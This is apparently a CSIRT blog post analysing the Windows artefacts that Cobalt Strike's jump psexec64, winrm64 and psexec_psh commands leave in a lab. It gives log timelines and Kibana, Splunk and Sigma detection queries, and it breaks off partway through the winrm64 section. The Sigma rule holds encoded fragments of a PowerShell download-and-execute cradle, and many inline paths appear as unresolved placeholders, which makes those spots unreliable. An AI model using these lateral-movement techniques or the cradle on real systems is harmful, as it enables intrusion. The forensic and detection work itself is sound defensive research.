Étiquette : CSIRT

Cobalt Strike Investigation – Part 2

Approach

The aim here is to provide basic information on the kinds of logs and other artefacts that could be generated from Cobalt Strike on a default Windows 10 host. To get a better context and understanding, we enabled Sysmon on the victim workstation, in order to get a baseline to compare with.

The tests were done with Cobalt Strike version 4.4 with the default configuration, without any kind of customization. It is important to note that Cobalt Strike allows users to change various settings (pipe names, service name, default temporary process, etc.) to customize its footprint. Depending on the Cobalt Strike settings used by the attackers, the events generated may be slightly different and detection rules may fail.

Each command was executed twice to avoid false positives, and the investigations were conducted on one of these two executions. This short analysis can be later on used as a reference to build rules to detect Cobalt Strike movements during a forensics incident response (without Sysmon or Audit Policies).

The Lab is composed of the following elements:

Windows 10 workstations with Sysmon installed,
Windows Server 2016 Domain Controller.

The different steps and tools used to extract and analyze the artefacts post compromise are:

Run DFIR-Orc to extract artefacts on the Windows 10 machine;
Run log2timeline/plaso on the extracted data to build a clear timeline;
Analyze data using Splunk or Kibana (ELK fullstack with custom Logstash configuration).

By using DFIR-Orc and Plaso, we were able to process the most important artefacts:

Event logs (*.evtx), including PowerShell command history;
Prefetch files among other execution evidence;
NTFS artefacts, such as USNjrnl and MFT;
User and System hives (userassist, appcompatcache, etc.).

Findings Summary

A summary of the most important findings (excluding Sysmon events) is available in the timeline below. It should be noted that these events alone do not constitute evidence of the use of a Cobalt Strike beacon, and further analysis, some of which is detailed in this article, needs to be conducted to validate or not the hypothesis of remote code execution. These timelines will be detailed and explained in the following chapters.

Cobalt Strike Commands	Time	Description
jump psexec64	13:33:05.767	[fs/usnjrnl] File `\Windows\4542843.exe` USN_REASON_FILE_CREATE
jump psexec64	13:33:05.769	[evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘192.168.56.119’ (‘-‘) (logon_id=0x000000000051bce7) with ‘-‘
jump psexec64	13:33:05.803	[evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘192.168.56.119’ (‘-‘) (logon_id=0x000000000051bd0a) with ‘-‘
jump psexec64	13:33:05.829	[evtx/sys/scm/7045] Service ‘4542843’ (`\\DESKTOP-RI5FIO5\ADMIN$\4542843.exe`) was installed by user ‘LocalSystem’ (type: user mode service, start: demand start)
jump psexec64	13:33:05.877	[prefetch] Prefetch [4542843.EXE] was executed – run count 1 path hints: [] hash: 0xB39DA9E6 volume: 1 [serial number: 0x228095FD device path: \VOLUME{01d80e8a80662822-228095fd}]
jump psexec64	13:33:06.954	[prefetch] Prefetch [RUNDLL32.EXE] was executed – run count 2 path hints: \WINDOWS\SYSTEM32\RUNDLL32.EXE hash: 0x64292FC9 volume: 1 [serial number: 0x228095FD device path: \VOLUME{01d80e8a80662822-228095fd}]
jump psexec64	13:33:07.000	[evtx/sys/scm/7034] Service ‘4542843’ terminated unexpectedly (1 times)
jump psexec64	13:33:07.000	[fs/mft][macb] File `\Windows\Prefetch\4542843.EXE-B39DA9E6.pf` ($FILE_NAME), MFT:98397-10, PARENT: 93711-2
jump psexec64	13:33:07.000	[fs/usnjrnl] File `\Windows\Prefetch\4542843.EXE-B39DA9E6.pf` USN_REASON_FILE_CREATE
jump psexec64	13:33:07.939	[fs/usnjrnl] File `\Windows\4542843.exe` USN_REASON_CLOSE USN_REASON_FILE_DELETE
jump psexec64	13:33:17.063	[fs/mft][macb] File `\Windows\Prefetch\RUNDLL32.EXE-64292FC9.pf` ($FILE_NAME), MFT:98393-10, PARENT: 93711-2
jump psexec64	13:33:17.063	[fs/usnjrnl] File `\Windows\Prefetch\RUNDLL32.EXE-64292FC9.pf` USN_REASON_FILE_CREATE
…	…	…
jump winrm64	13:38:10.193	[prefetch] Prefetch [WSMPROVHOST.EXE] was executed – run count 2 path hints: `\WINDOWS\SYSTEM32\WSMPROVHOST.EXE` hash: 0xEF06207C volume: 1 [serial number: 0x228095FD device path: `\VOLUME{01d80e8a80662822-228095fd}`]
jump winrm64	13:38:10.650	[evtx/winrm/91] Creating WSMan shell on server with ResourceURI: ‘http://schemas.microsoft.com/powershell/Microsoft.PowerShell‘
jump winrm64	13:38:11.036	[evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘-‘ (‘-‘) (logon_id=0x00000000005eb099) with ‘-‘
jump winrm64	13:38:11.614	[fs/usnjrnl] File ¨C10C USN_REASON_FILE_CREATE
jump winrm64	13:38:11.631	[fs/usnjrnl] File ¨C11C USN_REASON_FILE_CREATE
jump winrm64	13:38:11.964	[evtx/powershell/53504] Windows PowerShell has started an IPC listening thread on process ‘9724’ in AppDomain ‘DefaultAppDomain’
jump winrm64	13:38:13.099	[evtx/powershell/400] The PowerShell engine state hosted by application ¨C12C is changed from ‘None’ to ‘Available’.
jump winrm64	13:38:13.705	[evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘-‘ (‘-‘) (logon_id=0x00000000005edc9b) with ‘-‘
jump winrm64	13:38:13.828	[evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘-‘ (‘-‘) (logon_id=0x00000000005edd18) with ‘-‘
jump winrm64	13:38:14.362	[evtx/powershell/4104] The remote PowerShell scriptblock named ‘¨C13C’ is executed (29 blocks)
jump winrm64	13:38:19.168	[evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘192.168.56.119’ (‘-‘) (logon_id=0x00000000005f30a3) with ‘-‘
jump winrm64	13:38:20.349	[fs/mft][macb] File ‘\Windows\Prefetch\WSMPROVHOST.EXE-EF06207C.pf’ ($FILE_NAME), MFT:106956-3, PARENT: 93711-2
jump winrm64	13:38:20.349	[fs/usnjrnl] File ¨C14C USN_REASON_FILE_CREATE
…	…	…
jump psexec_psh	13:45:07.732	[evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘192.168.56.119’ (‘-‘) (logon_id=0x00000000008629e3) with ‘-‘
jump psexec_psh	13:45:07.755	[evtx/sys/scm/7045] Service ‘4b3d5bc’ (¨C15C) was installed by user ‘LocalSystem’ (type: user mode service, start: demand start)
jump psexec_psh	13:45:07.755	[fs/mft][.a..] File ¨C16C ($STANDARD_INFORMATION), MFT:53610-1
jump psexec_psh	13:45:07.771	[prefetch] Prefetch [CMD.EXE] was executed – run count 2 path hints: ¨C17C hash: 0xAC113AA8 volume: 1 [serial number: 0x228095FD device path: ¨C18C]
jump psexec_psh	13:45:07.803	[prefetch] Prefetch [POWERSHELL.EXE] was executed – run count 5 path hints: ¨C19C hash: 0x767FB1AE volume: 1 [serial number: 0x228095FD device path: ¨C20C]
jump psexec_psh	13:45:07.833	[fs/mft][macb] File ¨C21C ($FILE_NAME), MFT:110491-2, PARENT: 93711-2
jump psexec_psh	13:45:07.833	[fs/usnjrnl] File ¨C22C USN_REASON_FILE_CREATE
jump psexec_psh	13:45:07.904	[evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘192.168.56.119’ (‘-‘) (logon_id=0x0000000000862fb5) with ‘-‘
jump psexec_psh	13:45:08.192	[fs/mft][..c.] File ¨C23C ($STANDARD_INFORMATION), MFT:56216-1
jump psexec_psh	13:45:09.308	[evtx/powershell/40961] A new PowerShell runspace have been created
jump psexec_psh	13:45:09.508	[fs/usnjrnl] File ¨C24C USN_REASON_FILE_CREATE
jump psexec_psh	13:45:09.520	[fs/usnjrnl] File ¨C25C USN_REASON_FILE_CREATE
jump psexec_psh	13:45:09.834	[evtx/powershell/53504] Windows PowerShell has started an IPC listening thread on process ‘6920’ in AppDomain ‘DefaultAppDomain’
jump psexec_psh	13:45:10.348	[evtx/powershell/400] The PowerShell engine state hosted by application ¨C26C is changed from ‘None’ to ‘Available’.
jump psexec_psh	13:45:10.387	[evtx/powershell/40962] A PowerShell runspace have been closed
jump psexec_psh	13:45:10.681	[evtx/powershell/4104] The remote PowerShell scriptblock named ‘¨C27C’ is executed (1 block)
jump psexec_psh	13:45:11.213	[evtx/powershell/4104] The remote PowerShell scriptblock named ‘¨C28C’ is executed (1 block)
jump psexec_psh	13:45:11.246	[evtx/powershell/4104] The remote PowerShell scriptblock named ‘¨C29C’ is executed (1 block)
jump psexec_psh	13:45:17.990	[fs/usnjrnl] File ¨C30C USN_REASON_DATA_TRUNCATION

Cobalt Strike « jump psexec64 »

The Cobalt Strike jump psexec64 command allows the attacker to use the PsExec utility to execute a command or payload on a remote Windows system. When the jump psexec64 command is executed, it will use the active beacon to establish a connection to the specified Windows system, and then use the PsExec utility to run the malicious payload on the remote system. The command uses the psexec64 executable that is included in the Cobalt Strike package to run the command on x64 architectures. The Beacon type used for this test is smb.

Microsoft-Windows-Sysmon

As explained earlier, System Monitor (Sysmon) was installed on the Windows 10 workstation to have reference events on which to base our analyses. We therefore first reviewed the events recorded by Sysmon to get a baseline to compare with the extracted artefacts. The Sysmon events below have been filtered to keep the most useful ones.

Event ID 1 – Process Create

The process creation event provides extended information about a newly created process. The full command line provides context on the process execution. The ProcessGUID field is a unique value for this process across a domain to make event correlation easier.

By default, Cobalt Strike spawns a temporary process and uses rundll32.exe to inject the malicious code into it and communicate the results back to the beacon using named pipes. We can note that rundll32.exe executes without any arguments, which is very suspicious. The process chain created by the jump psexec64 command on the victim workstation is service.exe -> beacon.exe -> rundll32.exe.

Time	Description
13:33:05.883	[evtx/sysmon/1] Process created with command `\\DESKTOP-RI5FIO5\ADMIN$\4542843.exe` (pid: 9612) by user ‘NT AUTHORITY\SYSTEM’ via `C:\Windows\System32\services.exe` (pid: 596)
13:33:06.960	[evtx/sysmon/1] Process created with command `C:\Windows\System32\rundll32.exe` (pid: 4648) by user ‘NT AUTHORITY\SYSTEM’ via `\\DESKTOP-RI5FIO5\ADMIN$\4542843.exe` (pid: 9612)

Event ID 3 – Network Connection Detected

The network connection event logs TCP/UDP connections on the machine. Each connection is linked to a process through the ProcessId and ProcessGUID fields. The event also contains the source and destination host names, IP addresses, port numbers and IPv6 status.

In both of our tests, 3 connections using IPv4 are made to the victim. The first one on port 445, the second one on port 135 and the last one to a random port. Then, two IPv6 connections are recorded to port 445.

Time	Description
13:33:06.881	[evtx/sysmon/3] Tcp network connection from host – (192.168.56.119:54055) to host – (192.168.56.117:445) (pid=4)
13:33:06.884	[evtx/sysmon/3] Tcp network connection from host – (192.168.56.119:54056) to host – (192.168.56.117:135) (pid=832)
13:33:06.885	[evtx/sysmon/3] Tcp network connection from host – (192.168.56.119:54057) to host – (192.168.56.117:49692) (pid=596)
13:33:06.885	[evtx/sysmon/3] Tcp network connection from host – (fe80:0:0:0:d4bc:701f:e0a6:897d:49800) to host – (fe80:0:0:0:d4bc:701f:e0a6:897d:445) (pid=4)
13:33:06.885	[evtx/sysmon/3] Tcp network connection from host – (fe80:0:0:0:d4bc:701f:e0a6:897d:49800) to host – (fe80:0:0:0:d4bc:701f:e0a6:897d:445) (pid=4)

Event ID 7 – Image Loaded

The image loaded event logs when a module is loaded in a specific process. It indicates the process in which the module is loaded, hashes and signature information.

The libraries loaded by the beacon are not very fancy. This information will not be useful without Sysmon installed on the victim workstation.

Time	Description
13:33:05.896	[evtx/sysmon/7] Image `C:\\Windows\\System32\\ntdll.dll` loaded from process `\\\\DESKTOP-RI5FIO5\\ADMIN$\\4542843.exe` (pid=9612) with user NT AUTHORITY\SYSTEM
13:33:05.897	[evtx/sysmon/7] Image `C:\\Windows\\System32\\kernel32.dll` loaded from process `\\\\DESKTOP-RI5FIO5\\ADMIN$\\4542843.exe` (pid=9612) with user NT AUTHORITY\SYSTEM
13:33:05.899	[evtx/sysmon/7] Image `C:\\Windows\\System32\\KernelBase.dll` loaded from process `\\\\DESKTOP-RI5FIO5\\ADMIN$\\4542843.exe` (pid=9612) with user NT AUTHORITY\SYSTEM
13:33:05.902	[evtx/sysmon/7] Image `C:\\Windows\\System32\\apphelp.dll` loaded from process `\\\\DESKTOP-RI5FIO5\\ADMIN$\\4542843.exe` (pid=9612) with user NT AUTHORITY\SYSTEM
13:33:05.915	[evtx/sysmon/7] Image `C:\\Windows\\System32\\advapi32.dll` loaded from process ¨C53C (pid=9612) with user NT AUTHORITY\SYSTEM
13:33:05.916	[evtx/sysmon/7] Image ¨C54C loaded from process ¨C55C (pid=9612) with user NT AUTHORITY\SYSTEM
13:33:05.917	[evtx/sysmon/7] Image ¨C56C loaded from process ¨C57C (pid=9612) with user NT AUTHORITY\SYSTEM
13:33:05.918	[evtx/sysmon/7] Image ¨C58C loaded from process ¨C59C (pid=9612) with user NT AUTHORITY\SYSTEM
13:33:05.929	[evtx/sysmon/7] Image ¨C60C loaded from process ¨C61C (pid=9612) with user NT AUTHORITY\SYSTEM

Event ID 11 – File Create

File create operations are logged when a file is created or overwritten. This event is useful for monitoring autostart locations, like the Startup folder, as well as temporary and download directories, which are common places where malware is dropped during an initial infection.

A randomly named Beacon¹ was created on the file system to the C:\Windows directory by the System process. The two created Prefetch files related to rundll32.exe and the Beacon will be useful to identify Cobalt Strike execution.

Time	Description
13:33:05.772	[evtx/sysmon/11] Process System (pid=4) created file `C:\\Windows\\4542843.exe` with user NT AUTHORITY\SYSTEM
13:33:07.009	[evtx/sysmon/11] Process `C:\\Windows\\system32\\svchost.exe` (pid=1860) created file `C:\\Windows\\Prefetch\\4542843.EXE-B39DA9E6.pf` with user NT AUTHORITY\SYSTEM
13:33:17.065	[evtx/sysmon/11] Process `C:\\Windows\\system32\\svchost.exe` (pid=1860) created file `C:\\Windows\\Prefetch\\RUNDLL32.EXE-64292FC9.pf` with user NT AUTHORITY\SYSTEM

Event ID 13 – Registry Value Set

Registry key and value create and delete operations map to this event type.

Cobalt Strike creates a service to run the Beacon as SYSTEM. So a registry key with a random name² is created under HKLM\\System\\CurrentControlSet\\Services\\4542843 by the Services.exe executable and the ImagePath is set to the Beacon path.

Time	Description
13:33:05.866	[evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process `C:\\Windows\\system32\\services.exe` (pid 596) has SetValue `HKLM\\System\\CurrentControlSet\\Services\\4542843\\ObjectName` value to LocalSystem
13:33:05.866	[evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process `C:\\Windows\\system32\\services.exe` (pid 596) has SetValue `HKLM\\System\\CurrentControlSet\\Services\\4542843\\ImagePath` value to \DESKTOP-RI5FIO5\ADMIN$\4542843.exe
13:33:05.866	[evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process `C:\\Windows\\system32\\services.exe` (pid 596) has SetValue `HKLM\\System\\CurrentControlSet\\Services\\4542843\\ErrorControl` value to DWORD (0x00000000)
13:33:05.866	[evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process `C:\\Windows\\system32\\services.exe` (pid 596) has SetValue `HKLM\\System\\CurrentControlSet\\Services\\4542843\\Start` value to DWORD (0x00000003)
13:33:05.866	[evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process `C:\\Windows\\system32\\services.exe` (pid 596) has SetValue ¨C82C value to DWORD (0x00000010)
13:33:07.941	[evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process ¨C83C (pid 596) has SetValue ¨C84C value to DWORD (0x00000004)
13:33:07.941	[evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process ¨C85C (pid 596) has SetValue ¨C86C value to DWORD (0x00000001)

Event ID 17 – Pipe Created

Pipe creation operations map to this event type.

The communication between the Beacon and the temporary process (rundll32.exe) is done using named pipes. By default, on Cobalt Strike, the pipes created by binaries use the following format \\.\pipe\MSSE-####-server. Then, the SMB Beacon creates another pipe for the communication with the C2. The default pipe format is \\msagent_##.

Time	Description
13:33:05.926	[evtx/sysmon/17] Process `\\\\DESKTOP-RI5FIO5\\ADMIN$\\4542843.exe` (pid=9612) created pipe `\\MSSE-2716-server` with user NT AUTHORITY\SYSTEM
13:33:06.988	[evtx/sysmon/17] Process `C:\\Windows\\System32\\rundll32.exe` (pid=4648) created pipe `\\msagent_bd` with user NT AUTHORITY\SYSTEM
13:33:06.955	[evtx/sysmon/18] Process `\\\\DESKTOP-RI5FIO5\\ADMIN$\\4542843.exe` (pid=9612) connected pipe `\\MSSE-2716-server`
13:33:08.961	[evtx/sysmon/18] Process System (pid=4) connected pipe `\\msagent_bd`

Event ID 25 – Process Tampering

Since Sysmon version 13, a new type of event is recorded, called process tampering. This event is generated when a process uses hiding techniques such as hollow or herpaderp. The injection of Cobalt Strike was successfully detected by Sysmon:

Time	Description
13:33:05.889	[evtx/sysmon/25] Process tampering detected for images `\\\\DESKTOP-RI5FIO5\\ADMIN$\\4542843.exe` (pid=9612) with user ‘NT AUTHORITY\SYSTEM’

Findings

Now that we have seen the events and other artefacts generated by the execution of the jump psexec64 command, let us dwell on the evidence present natively on a Windows 10 system out of the box.

Winevtx – Microsoft-Windows-Security-Auditing

Without the audit policies enabled, not many events are generated. Only two successful logons (event ID 4624) are recorded, with the logon type ‘3’ (Network), from the compromised account « CORP\alice ». If correlated, this behavior may help during the investigation to support a hypothesis. The source hostnames are not always recorded, nor is the logon process name.

Time	Description
13:33:05.769	[evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘192.168.56.119’ (‘-‘) (logon_id=0x000000000051bce7) with ‘-‘
13:33:05.769	[evtx/sec/4672] Special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x000000000051bce7): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege
13:33:05.803	[evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘192.168.56.119’ (‘-‘) (logon_id=0x000000000051bd0a) with ‘-‘
13:33:05.802	[evtx/sec/4672] Special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x000000000051bd0a): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege

The two network sessions (logon_type = 3) opened by user « CORP\alice » end a few moments later, just after the remote code execution.

Time	Description
13:34:46.386	[evtx/sec/4634] User logged off ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x000000000051bd0a) from logon type=3
13:35:06.877	[evtx/sec/4634] User logged off ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x000000000051bce7) from logon type=3

Winevtx – Service Control Manager

In that particular case, since the jump psexec64 command installs a service on the targeted host, the most useful Windows record is the event ID 7045 logged by the Service Control Manager (SCM). This event indicates that a new, randomly named² (here 4542843) service has been installed on the system by user « LocalSystem ». The executable used by this malicious service is a strong IOC since it will be remotely accessed using the $ADMIN share. The service terminated unexpectedly a few moments later.

Time	Description
13:33:05.829	[evtx/sys/scm/7045] Service ‘4542843’ (`\\DESKTOP-RI5FIO5\ADMIN$\4542843.exe`) was installed by user ‘LocalSystem’ (type: user mode service, start: demand start)
13:33:07.000	[evtx/sys/scm/7034] Service ‘4542843’ terminated unexpectedly (1 times)

Prefecth – Program execution

The Prefetch files are very useful as well because the beacon has a random name¹ and it is followed by proof of the execution of rundll32³. It is important to mention that the presence of rundll32.exe alone is not necessarily an indication of malicious activity. However, since the beacon name is randomly set by Cobalt Strike for each execution, it is difficult to define a detection rule based on the Prefetch files.

Time	Description
13:33:05.877	[prefetch] Prefetch [4542843.EXE] was executed – run count 1 path hints: [] hash: 0xB39DA9E6 volume: 1 [serial number: 0x228095FD device path: \VOLUME{01d80e8a80662822-228095fd}]
13:33:06.954	[prefetch] Prefetch [RUNDLL32.EXE] was executed – run count 2 path hints: \WINDOWS\SYSTEM32\RUNDLL32.EXE hash: 0x64292FC9 volume: 1 [serial number: 0x228095FD device path: \VOLUME{01d80e8a80662822-228095fd}]

File System – MFT

The main IOC here is the beacon dropped in the $ADMIN share (C:\Windows\) and then executed by the malicious service. The binary itself has no entry in the MFT, but its Prefetch file and that of rundll32.exe are visible when the jump psexec64 command is executed.

Time	Description
13:33:07.000	[fs/mft][m.cb] File `\Windows\Prefetch\4542843.EXE-B39DA9E6.pf` ($STANDARD_INFORMATION), MFT:98397-10
13:33:07.000	[fs/mft][macb] File `\Windows\Prefetch\4542843.EXE-B39DA9E6.pf` ($FILE_NAME), MFT:98397-10, PARENT: 93711-2
13:33:17.063	[fs/mft][…b] File `\Windows\Prefetch\RUNDLL32.EXE-64292FC9.pf` ($STANDARD_INFORMATION), MFT:98393-10
13:33:17.063	[fs/mft][macb] File `\Windows\Prefetch\RUNDLL32.EXE-64292FC9.pf` ($FILE_NAME), MFT:98393-10, PARENT: 93711-2

In our case, since the system has been freshly installed, rundll32.exe has run for the first time and the birth of the Prefetch file can be observed in the MFT (here in both $FILE_NAME and $STANDARD_INFORMATION of the RUNDLL32.EXE-64292FC9.pf file), otherwise only its modification would be visible.

File System – USN journal

Just like the MFT, and as observed in the SysMon logs (event ID 11), the USN journal can also detect the malicious executable and its Prefetch file. The location of the beacon in the C:\Windows directory makes it easy to spot. The activity of the Prefetch file of rundll32.exe is also recorded. The C:\Windows\4542843.exe binary is deleted immediately after its execution.

Time	Description
13:33:05.767	[fs/usnjrnl] File `\Windows\4542843.exe` USN_REASON_FILE_CREATE
13:33:05.767	[fs/usnjrnl] File `\Windows\4542843.exe` USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE
13:33:05.767	[fs/usnjrnl] File `\Windows\4542843.exe` USN_REASON_CLOSE USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE
13:33:07.000	[fs/usnjrnl] File `\Windows\Prefetch\4542843.EXE-B39DA9E6.pf` USN_REASON_FILE_CREATE
13:33:07.000	[fs/usnjrnl] File `\Windows\Prefetch\4542843.EXE-B39DA9E6.pf` USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE
13:33:07.000	[fs/usnjrnl] File `\Windows\Prefetch\4542843.EXE-B39DA9E6.pf` USN_REASON_CLOSE USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE
13:33:07.939	[fs/usnjrnl] File `\Windows\4542843.exe` USN_REASON_CLOSE USN_REASON_FILE_DELETE
13:33:17.063	[fs/usnjrnl] File `\Windows\Prefetch\RUNDLL32.EXE-64292FC9.pf` USN_REASON_FILE_CREATE
13:33:17.063	[fs/usnjrnl] File `\Windows\Prefetch\RUNDLL32.EXE-64292FC9.pf` USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE
13:33:17.063	[fs/usnjrnl] File ¨C129C USN_REASON_CLOSE USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE

Conclusion

The default Cobal Strike jump psexec64 command is fairly easy to detect because it creates a service with a random name² and uses the rundll32.exe³ program without any arguments to host the payload. Even if the malicious binary is deleted immediately after its execution, the location of the beacon in the C:\Windows directory makes it even easier to spot.

Detection Rule Example

The timeline is processed using plaso (https://plaso.readthedocs.io/) on data collected with DFIR-Orc (https://dfir-orc.github.io/). The available fields and their names may vary depending on how you use log2timeline and psort.

Kibana

The various KQL queries correspond to each aspect of the conclusion stated above and can of course be grouped together. The most important is the SCM record (event ID 7045). Note that all these events occur in a short period of time. The name of the beacon can be spotted with the SCM record (event ID 7045) and then used to improve the queries on the MFT and USN journal events.

parser : "winevtx" and source_name : "Service Control Manager" and eid : 7045
parser : "winevtx" and source_name : "Microsoft-Windows-Security-Auditing" and eid : (4624 or 4672 or 4634)
parser : "usnjrnl" and message : \\Windows\\*.exe
parser : ( "prefetch" or "mft" ) and message : *RUNDLL32.EXE*

Splunk

A simple query for installed services (event ID 7045) where the service path contains the ADMIN$ substring is enough:

host="*" index="*" parser=winevtx eid=7045 service_path="*ADMIN$*"
| table _time host message
| sort _time

Sigma

A Sigma rule already exists for this event (sigma/win_cobaltstrike_service_installs.yml at master · SigmaHQ/sigma).

sigma-cli &gt;&gt;&gt; sigma convert -t splunk -p sysmon ../sigma/rules/windows/builtin/system/win_cobaltstrike_service_installs.yml
Parsing Sigma rules  [####################################]  100%
Provider_Name="Service Control Manager" EventID=7045 (ImagePath="*ADMIN$*" ImagePath="*.exe*" OR ImagePath="*%COMSPEC%*" ImagePath="*start*" ImagePath="*powershell*" OR ImagePath="*powershell -nop -w hidden -encodedcommand*" OR ImagePath="*SUVYIChOZXctT2JqZWN0IE5ldC5XZWJjbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTI3LjAuMC4xO*" OR ImagePath="*lFWCAoTmV3LU9iamVjdCBOZXQuV2ViY2xpZW50KS5Eb3dubG9hZFN0cmluZygnaHR0cDovLzEyNy4wLjAuMT*" OR ImagePath="*JRVggKE5ldy1PYmplY3QgTmV0LldlYmNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly8xMjcuMC4wLjE6*")

Cobalt Strike « jump winrm64 »

The Cobalt Strike jump winrm64 command allows using the Windows Remote Management (WinRM) service to execute a command or payload on a remote Windows system. When the jump winrm64 command is executed, it will use the active beacon to establish a connection to the specified Windows system and then use the WinRM service to run the malicious payload on the remote system. The Beacon type used for this test is smb.

Microsoft-Windows-Sysmon

Event ID 1 – Process Create

The process creation event provides extended information about a newly created process. The full command line provides context on the process execution. The ProcessGUID field is a unique value for this process across a domain to make event correlation easier. The hash is a full hash of the file with the algorithms in the HashType field.

Over the period of time during which the jump winrm64 command is executed, one of the created processes is wsmprovhost.exe by the svchost.exe process. Indeed, since the jump winrm64 command uses the Windows Remote Management (WinRM) service, the wsmprovhost.exe process is started to handle the incoming connection and execute the command or payload.

Time	Description
13:38:10.192	[evtx/sysmon/1] Process created with command `C:\Windows\system32\wsmprovhost.exe -Embedding` (pid: 9724) by user ‘CORP\alice’ via `C:\Windows\System32\svchost.exe -k DcomLaunch -p` (pid: 728)

Event ID 3 – Network Connection Detected

The network connection event logs TCP/UDP connections on the machine. Each connection is linked to a process through the ProcessId and ProcessGUID fields. The event also contains the source and destination host names, IP addresses, port numbers and IPv6 status.

Sysmon recorded 4 network connections to the victim workstation on port TCP\5985 (HTTP default WinRM port) and, since the beacon type used for this test is smb, one more to TCP port TCP\445 (SMB).

Time	Description
13:38:12.005	[evtx/sysmon/3] An unknown process (pid: 4) created a TCP network connection from ‘192.168.56.119:54176’ to ‘192.168.56.117:5985’
13:38:12.907	[evtx/sysmon/3] An unknown process (pid: 4) created a TCP network connection from ‘192.168.56.119:54177’ to ‘192.168.56.117:5985’
13:38:15.662	[evtx/sysmon/3] An unknown process (pid: 4) created a TCP network connection from ‘192.168.56.119:54179’ to ‘192.168.56.117:5985’
13:38:15.935	[evtx/sysmon/3] An unknown process (pid: 4) created a TCP network connection from ‘192.168.56.119:54180’ to ‘192.168.56.117:5985’
13:38:20.995	[evtx/sysmon/3] An unknown process (pid: 4) created a TCP network connection from ‘192.168.56.119:54181’ to ‘192.168.56.117:445’

Event ID 7 – Image Loaded

The image loaded event logs when a module is loaded in a specific process. It indicates the process in which the module is loaded, hashes and signature information.

This event records the libraries loaded by a process during its execution. Without Sysmon installed on the victim workstation, it is hard to get the same information from other artefacts. However, because in that particular case the MFT artefact was able to get close information, this event is displayed here. The wsmprovhost.exe process (PID 9724) loads 88 DLL and we chose to list only two because of their records in the MFT (see below).

Time	Description
13:38:10.177	[evtx/sysmon/7] Process `C:\Windows\System32\wsmprovhost.exe` (pid: 9724) executed by ‘CORP\alice’ loaded module `C:\Windows\System32\wsmprovhost.exe`
13:38:10.333	[evtx/sysmon/7] Process `C:\Windows\System32\wsmprovhost.exe` (pid: 9724) executed by ‘CORP\alice’ loaded module `C:\Windows\System32\WsmSvc.dll`
13:38:10.523	[evtx/sysmon/7] Process `C:\Windows\System32\wsmprovhost.exe` (pid: 9724) executed by ‘CORP\alice’ loaded module `C:\Windows\System32\wsmplpxy.dll`
13:38:10.600	[evtx/sysmon/7] Process `C:\Windows\System32\wsmprovhost.exe` (pid: 9724) executed by ‘CORP\alice’ loaded module `C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\97c421700557a331a31041b81ac3b698\mscorlib.ni.dll`
13:38:10.600	[evtx/sysmon/7] Process `C:\Windows\System32\wsmprovhost.exe` (pid: 9724) executed by ‘CORP\alice’ loaded module ¨C159C
13:38:10.600	[evtx/sysmon/7] Process ¨C160C (pid: 9724) executed by ‘CORP\alice’ loaded module ¨C161C
13:38:10.600	[evtx/sysmon/7] Process ¨C162C (pid: 9724) executed by ‘CORP\alice’ loaded module ¨C163C
13:38:10.618	[evtx/sysmon/7] Process ¨C164C (pid: 9724) executed by ‘CORP\alice’ loaded module ¨C165C
13:38:10.662	[evtx/sysmon/7] Process ¨C166C (pid: 9724) executed by ‘CORP\alice’ loaded module ¨C167C
13:38:10.662	[evtx/sysmon/7] Process ¨C168C (pid: 9724) executed by ‘CORP\alice’ loaded module ¨C169C

Event ID 11 – File Create

File create operations are logged when a file is created or overwritten. This event is useful for monitoring autostart locations, like the Startup folder, as well as temporary and download directories, which are common places where malware is dropped during an initial infection.

